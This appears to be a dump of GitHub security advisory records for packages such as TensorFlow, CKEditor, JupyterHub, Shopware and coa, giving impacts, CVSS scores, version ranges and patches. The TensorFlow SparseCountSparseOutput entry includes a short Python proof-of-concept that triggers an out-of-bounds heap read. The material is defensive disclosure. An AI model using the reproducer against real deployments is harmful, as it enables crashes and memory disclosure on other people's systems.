The only workaround is to make sure that only one JupyterLab tab is open when you log out.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'jupyterhub'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.0.0'}, {'fixed': '1.5.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/jupyterhub/jupyterhub/security/advisories/GHSA-cw7p-q79f-m2v7'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41247'}, {'type': 'WEB', 'url': 'https://github.com/jupyterhub/jupyterhub/commit/5ac9e7f73a6e1020ffddc40321fc53336829fe27'}, {'type': 'PACKAGE', 'url': 'https://github.com/jupyterhub/jupyterhub'}]
|
{'cwe_ids': ['CWE-613'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2021-11-04T17:49:19Z', 'nvd_published_at': '2021-11-04T18:15:00Z'}
|
1.4.0
|
GHSA-5mxh-2qfv-4g7j
|
2022-04-05T19:29:23Z
|
2021-11-10T20:15:06Z
| null |
['CVE-2021-3910']
|
NUL character in ROA causes OctoRPKI to crash
|
OctoRPKI crashes when encountering a repository that returns an invalid ROA (just an encoded `NUL` (`\0`) character).
## Patches
## For more information
If you have any questions or comments about this advisory email us at security@cloudflare.com
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/cloudflare/cfrpki'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.4.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/cloudflare/cfrpki/security/advisories/GHSA-5mxh-2qfv-4g7j'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3910'}, {'type': 'WEB', 'url': 'https://github.com/cloudflare/cfrpki/commit/76f0f7a98da001fa04e5bc0407c6702f91096bfa'}, {'type': 'PACKAGE', 'url': 'https://github.com/cloudflare/cfrpki'}, {'type': 'WEB', 'url': 'https://github.com/cloudflare/cfrpki/releases/tag/v1.4.0'}, {'type': 'WEB', 'url': 'https://pkg.go.dev/vuln/GO-2022-0251'}, {'type': 'WEB', 'url': 'https://www.debian.org/security/2022/dsa-5041'}]
|
{'cwe_ids': ['CWE-20'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-10T18:17:39Z', 'nvd_published_at': '2021-11-11T22:15:00Z'}
|
1.4.0
|
GHSA-pvmx-g8h5-cprj
|
2022-02-08T20:39:22Z
|
2021-11-17T21:55:10Z
| null |
['CVE-2021-41164']
|
Advanced Content Filter (ACF) vulnerability allowing to execute JavaScript code using malformed HTML
|
### Affected packages
The vulnerability has been discovered in the Advanced Content Filter (ACF) module and may affect all plugins used by CKEditor 4.
### Impact
A potential vulnerability has been discovered in CKEditor 4 Advanced Content Filter (ACF) core module. The vulnerability allowed to inject malformed HTML bypassing content sanitization, which could result in executing JavaScript code. It affects all users using the CKEditor 4 at version < 4.17.0.
### Patches
The problem has been recognized and patched. The fix will be available in version 4.17.0.
### For more information
Email us at security@cksource.com if you have any questions or comments about this advisory.
### Acknowledgements
The CKEditor 4 team would like to thank Maurice Dauer ([laytonctf](https://twitter.com/laytonctf)) for recognizing and reporting this vulnerability.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'ckeditor4'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.17.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-pvmx-g8h5-cprj'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41164'}, {'type': 'PACKAGE', 'url': 'https://github.com/ckeditor/ckeditor4'}, {'type': 'WEB', 'url': 'https://github.com/ckeditor/ckeditor4/blob/major/CHANGES.md#ckeditor-417'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VR76VBN5GW5QUBJFHVXRX36UZ6YTCMW6/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WOZGMCYDB2OKKULFXZKM6V7JJW4ZZHJP/'}, {'type': 'WEB', 'url': 'https://www.drupal.org/sa-core-2021-011'}, {'type': 'WEB', 'url': 'https://www.oracle.com/security-alerts/cpuapr2022.html'}, {'type': 'WEB', 'url': 'https://www.oracle.com/security-alerts/cpujan2022.html'}, {'type': 'WEB', 'url': 'https://www.oracle.com/security-alerts/cpujul2022.html'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-17T19:56:22Z', 'nvd_published_at': '2021-11-17T19:15:00Z'}
|
1.4.0
|
GHSA-gpqc-4pp7-5954
|
2023-05-26T15:06:11Z
|
2021-11-18T20:15:35Z
| null |
[]
|
Authentication Bypass by CSRF Weakness
|
### Impact
CSRF vulnerability that allows user account takeover.
All applications using any version of the frontend component of `spree_auth_devise` are affected if `protect_from_forgery` method is both:
* Executed whether as:
* A before_action callback (the default)
* A prepend_before_action (option prepend: true given) before the :load_object hook in Spree::UserController (most likely order to find).
* Configured to use :null_session or :reset_session strategies (:null_session is the default in case the no strategy is given, but rails --new generated skeleton use :exception).
That means that applications that haven't been configured differently from what it's generated with Rails aren't affected.
Thanks @waiting-for-dev for reporting and providing a patch 👏
### Patches
Spree 4.3 users should update to spree_auth_devise 4.4.1
Spree 4.2 users should update to spree_auth_devise 4.2.1
Spree 4.1 users should update to spree_auth_devise 4.1.1
Older Spree version users should update to spree_auth_devise 4.0.1
### Workarounds
If possible, change your strategy to :exception:
```ruby
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
end
```
Add the following to`config/application.rb `to at least run the `:exception` strategy on the affected controller:
```ruby
config.after_initialize do
Spree::UsersController.protect_from_forgery with: :exception
end
```
### References
https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N'}]
|
[{'package': {'ecosystem': 'RubyGems', 'name': 'spree_auth_devise'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.0.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2'}, {'type': 'WEB', 'url': 'https://github.com/spree/spree_auth_devise/security/advisories/GHSA-gpqc-4pp7-5954'}, {'type': 'WEB', 'url': 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree_auth_devise/CVE-2021-41275.yml'}, {'type': 'PACKAGE', 'url': 'https://github.com/spree/spree_auth_devise'}]
|
{'cwe_ids': ['CWE-352'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-17T21:45:42Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-r64m-qchj-hrjp
|
2021-11-24T19:58:48Z
|
2021-11-24T20:05:19Z
| null |
[]
|
Webcache Poisoning in shopware/platform and shopware/core
|
### Impact
Webcache Poisoning via X-Forwarded-Prefix and sub-request
### Patches
We recommend updating to the current version 6.4.6.1. You can get the update to 6.4.6.1 regularly via the Auto-Updater or directly via the download overview.
https://www.shopware.com/en/download/#shopware-6
Workarounds
For older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.
https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659
|
[]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'shopware/core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '6.4.6.1'}]}], 'database_specific': {'last_known_affected_version_range': '<= 6.4.6.0'}}, {'package': {'ecosystem': 'Packagist', 'name': 'shopware/platform'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '6.4.6.1'}]}], 'database_specific': {'last_known_affected_version_range': '<= 6.4.6.0'}}]
|
[{'type': 'WEB', 'url': 'https://github.com/shopware/platform/security/advisories/GHSA-r64m-qchj-hrjp'}, {'type': 'WEB', 'url': 'https://github.com/shopware/platform/commit/9062f15450d183f2c666664841efd4f5ef25e0f3'}, {'type': 'PACKAGE', 'url': 'https://github.com/shopware/platform'}]
|
{'cwe_ids': ['CWE-444'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-24T19:58:48Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-57wx-m983-2f88
|
2021-11-10T18:35:40Z
|
2021-11-10T19:37:56Z
| null |
['CVE-2021-41208']
|
Incomplete validation in boosted trees code
|
### Impact
The [code for boosted trees in TensorFlow](https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/kernels/boosted_trees/stats_ops.cc) is still missing validation. As a result, attackers can trigger denial of service (via dereferencing `nullptr`s or via `CHECK`-failures) as well as abuse undefined behavior (binding references to `nullptr`s). An attacker can also read and write from heap buffers, depending on the API that gets used and the arguments that are passed to the call.
**Note**: Given that the boosted trees implementation in TensorFlow is unmaintained, it is recommend to no longer use these APIs. Instead, please use the downstream [TensorFlow Decision Forests](https://github.com/tensorflow/decision-forests) project which is newer and supports more features. We will deprecate TensorFlow's boosted trees APIs in subsequent releases.
### Patches
We have patched the issue in GitHub commit [5c8c9a8bfe750f9743d0c859bae112060b216f5c](https://github.com/tensorflow/tensorflow/commit/5c8c9a8bfe750f9743d0c859bae112060b216f5c).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-57wx-m983-2f88'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41208'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/5c8c9a8bfe750f9743d0c859bae112060b216f5c'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-476', 'CWE-824'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:38:32Z', 'nvd_published_at': '2021-11-05T22:15:00Z'}
|
1.4.0
|
GHSA-m342-ff57-4jcc
|
2021-11-08T22:34:11Z
|
2021-11-10T19:01:44Z
| null |
['CVE-2021-41210']
|
Heap OOB read in `tf.raw_ops.SparseCountSparseOutput`
|
### Impact
The [shape inference functions for `SparseCountSparseOutput`](https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/ops/count_ops.cc#L43-L50) can trigger a read outside of bounds of heap allocated array:
```python
import tensorflow as tf
@tf.function
def func():
return tf.raw_ops.SparseCountSparseOutput(
indices=[1],
values=[[1]],
dense_shape=[10],
weights=[],
binary_output= True)
func()
```
The function fails to check that the first input (i.e., `indices`) has rank 2:
```cc
auto rank = c->Dim(c->input(0), 1);
```
### Patches
We have patched the issue in GitHub commit [701cfaca222a82afbeeb17496bd718baa65a67d2](https://github.com/tensorflow/tensorflow/commit/701cfaca222a82afbeeb17496bd718baa65a67d2).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-m342-ff57-4jcc'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41210'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/701cfaca222a82afbeeb17496bd718baa65a67d2'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-125'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:34:11Z', 'nvd_published_at': '2021-11-05T20:15:00Z'}
|
1.4.0
|
GHSA-frcx-xc72-c4v4
|
2021-11-30T21:55:50Z
|
2021-11-29T18:09:08Z
|
2021-11-30T21:33:03Z
|
['CVE-2021-44150']
|
Use of Sha-1 in tusdotnet
|
# Withdrawn
After reviewing this CVE, we have withdrawn this advisory due to it not having actual security impact.
# Original Advisory
The client in tusdotnet through 2.5.0 relies on SHA-1 to prevent spoofing of file content.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N'}]
|
[{'package': {'ecosystem': 'NuGet', 'name': 'tusdotnet'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '2.5.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-44150'}, {'type': 'WEB', 'url': 'https://github.com/github/advisory-database/issues/2324'}, {'type': 'WEB', 'url': 'https://github.com/tusdotnet/tusdotnet/issues/157'}, {'type': 'PACKAGE', 'url': 'https://github.com/tusdotnet/tusdotnet'}, {'type': 'WEB', 'url': 'https://shattered.io/'}]
|
{'cwe_ids': ['CWE-327'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2021-11-23T19:18:34Z', 'nvd_published_at': '2021-11-22T22:15:00Z'}
|
1.4.0
|
GHSA-73qr-pfmq-6rp8
|
2022-09-07T22:16:29Z
|
2021-11-04T16:22:28Z
| null |
[]
|
Embedded malware in coa
|
The npm package `coa` had versions published with malicious code. Users of affected versions (2.0.3 and above) should downgrade to 2.0.2 as soon as possible and check their systems for suspicious activity. See [this issue](https://github.com/veged/coa/issues/99) for details as they unfold.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
|
[]
|
[{'package': {'ecosystem': 'npm', 'name': 'coa'}, 'versions': ['2.0.3']}, {'package': {'ecosystem': 'npm', 'name': 'coa'}, 'versions': ['2.0.4']}, {'package': {'ecosystem': 'npm', 'name': 'coa'}, 'versions': ['2.1.1']}, {'package': {'ecosystem': 'npm', 'name': 'coa'}, 'versions': ['2.1.3']}, {'package': {'ecosystem': 'npm', 'name': 'coa'}, 'versions': ['3.0.1']}, {'package': {'ecosystem': 'npm', 'name': 'coa'}, 'versions': ['3.1.3']}]
|
[{'type': 'WEB', 'url': 'https://github.com/veged/coa/issues/99'}, {'type': 'PACKAGE', 'url': 'https://github.com/veged/coa'}, {'type': 'WEB', 'url': 'https://therecord.media/malware-found-in-coa-and-rc-two-npm-packages-with-23m-weekly-downloads/'}, {'type': 'WEB', 'url': 'https://www.virustotal.com/gui/file/26451f7f6fe297adf6738295b1dcc70f7678434ef21d8b6aad5ec00beb8a72cf?nocache=1'}]
|
{'cwe_ids': ['CWE-506'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-04T16:19:49Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-j4mv-2rv7-v2j9
|
2022-07-13T19:06:19Z
|
2021-11-23T18:18:07Z
| null |
['CVE-2021-22966']
|
Improper Privilege Management in Concrete CMS
|
Privilege escalation from Editor to Admin using Groups in Concrete CMS versions 8.5.6 and below. If a group is granted "view" permissions on the bulkupdate page, then users in that group can escalate to being an administrator with a specially crafted curl. Fixed by adding a check for group permissions before allowing a group to be moved.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'concrete5/core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '8.5.7'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-22966'}, {'type': 'WEB', 'url': 'https://hackerone.com/reports/1362747'}, {'type': 'WEB', 'url': 'https://documentation.concretecms.org/developers/introduction/version-history/857-release-notes'}]
|
{'cwe_ids': ['CWE-269'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-22T18:31:34Z', 'nvd_published_at': '2021-11-19T19:15:00Z'}
|
1.4.0
|
GHSA-9j9m-8wjc-ff96
|
2022-08-22T22:01:24Z
|
2021-11-10T17:02:44Z
| null |
['CVE-2021-25979']
|
Apostrophe CMS Insufficient Session Expiration vulnerability
|
Apostrophe CMS versions between 2.63.0 to 3.3.1 affected by an insufficient session expiration vulnerability, which allows unauthenticated remote attackers to hijack recently logged-in users' sessions. As a mitigation for older releases the user account in question can be archived (3.x) or moved to the trash (2.x and earlier) which does disable the existing session.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'apostrophe'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.63.0'}, {'fixed': '3.4.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-25979'}, {'type': 'WEB', 'url': 'https://github.com/apostrophecms/apostrophe/commit/c211b211f9f4303a77a307cf41aac9b4ef8d2c7c'}, {'type': 'PACKAGE', 'url': 'https://github.com/apostrophecms/apostrophe'}]
|
{'cwe_ids': ['CWE-613'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-09T21:01:19Z', 'nvd_published_at': '2021-11-08T15:15:00Z'}
|
1.4.0
|
GHSA-6g47-63mv-qpgh
|
2021-11-04T17:01:59Z
|
2021-11-08T17:55:48Z
| null |
['CVE-2021-23624']
|
Prototype Pollution in dotty
|
This affects the package dotty before 0.1.2. A type confusion vulnerability can lead to a bypass of CVE-2021-25912 when the user-provided keys used in the path parameter are arrays.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'dotty'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.1.2'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23624'}, {'type': 'WEB', 'url': 'https://github.com/deoxxa/dotty/commit/88f61860dcc274a07a263c32cbe9d44c24ef02d7'}, {'type': 'PACKAGE', 'url': 'https://github.com/deoxxa/dotty'}, {'type': 'WEB', 'url': 'https://snyk.io/vuln/SNYK-JS-DOTTY-1577292'}]
|
{'cwe_ids': ['CWE-1321', 'CWE-843'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-04T17:01:59Z', 'nvd_published_at': '2021-11-03T18:15:00Z'}
|
1.4.0
|
GHSA-8c5p-4362-9333
|
2021-11-08T21:30:39Z
|
2021-11-10T16:48:15Z
| null |
['CVE-2021-3924']
|
Path traversal in grav
|
grav is vulnerable to Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'getgrav/grav'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.7.24'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3924'}, {'type': 'WEB', 'url': 'https://github.com/getgrav/grav/commit/8f9c417c04b89dc8d2de60b95e7696821b2826ce'}, {'type': 'PACKAGE', 'url': 'https://github.com/getgrav/grav'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/7ca13522-d0c9-4eff-a7dd-6fd1a7f205a2'}]
|
{'cwe_ids': ['CWE-22'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T21:30:39Z', 'nvd_published_at': '2021-11-05T15:15:00Z'}
|
1.4.0
|
GHSA-j86v-p27c-73fm
|
2021-11-08T22:49:15Z
|
2021-11-10T19:17:43Z
| null |
['CVE-2021-41201']
|
Unitialized access in `EinsumHelper::ParseEquation`
|
### Impact
During execution, [`EinsumHelper::ParseEquation()`](https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/kernels/linalg/einsum_op_impl.h#L126-L181) is supposed to set the flags in `input_has_ellipsis` vector and `*output_has_ellipsis` boolean to indicate whether there is ellipsis in the corresponding inputs and output.
However, the code only changes these flags to `true` and never assigns `false`.
```cc
for (int i = 0; i < num_inputs; ++i) {
input_label_counts->at(i).resize(num_labels);
for (const int label : input_labels->at(i)) {
if (label != kEllipsisLabel)
input_label_counts->at(i)[label] += 1;
else
input_has_ellipsis->at(i) = true;
}
}
output_label_counts->resize(num_labels);
for (const int label : *output_labels) {
if (label != kEllipsisLabel)
output_label_counts->at(label) += 1;
else
*output_has_ellipsis = true;
}
```
This results in unitialized variable access if callers assume that `EinsumHelper::ParseEquation()` always sets these flags.
### Patches
We have patched the issue in GitHub commit [f09caa532b6e1ac8d2aa61b7832c78c5b79300c6](https://github.com/tensorflow/tensorflow/commit/f09caa532b6e1ac8d2aa61b7832c78c5b79300c6).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j86v-p27c-73fm'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41201'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/f09caa532b6e1ac8d2aa61b7832c78c5b79300c6'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-824'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:49:15Z', 'nvd_published_at': '2021-11-05T20:15:00Z'}
|
1.4.0
|
GHSA-pfj7-2qfw-vwgm
|
2022-09-14T20:37:56Z
|
2021-11-30T22:20:43Z
| null |
['CVE-2021-43788']
|
NodeBB vulnerable to path traversal in translator module
|
### Impact
Prior to v1.18.5, a path traversal vulnerability was present that allowed users to access JSON files outside of the expected `languages/` directory.
### Patches
The vulnerability has been patched as of v1.18.5.
### Workarounds
Cherry-pick commit hash `c8b2fc46dc698db687379106b3f01c71b80f495f` to receive this patch in lieu of a full upgrade.
### For more information
If you have any questions or comments about this advisory:
* Email us at [security@nodebb.org](mailto:security@nodebb.org)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N'}]
|
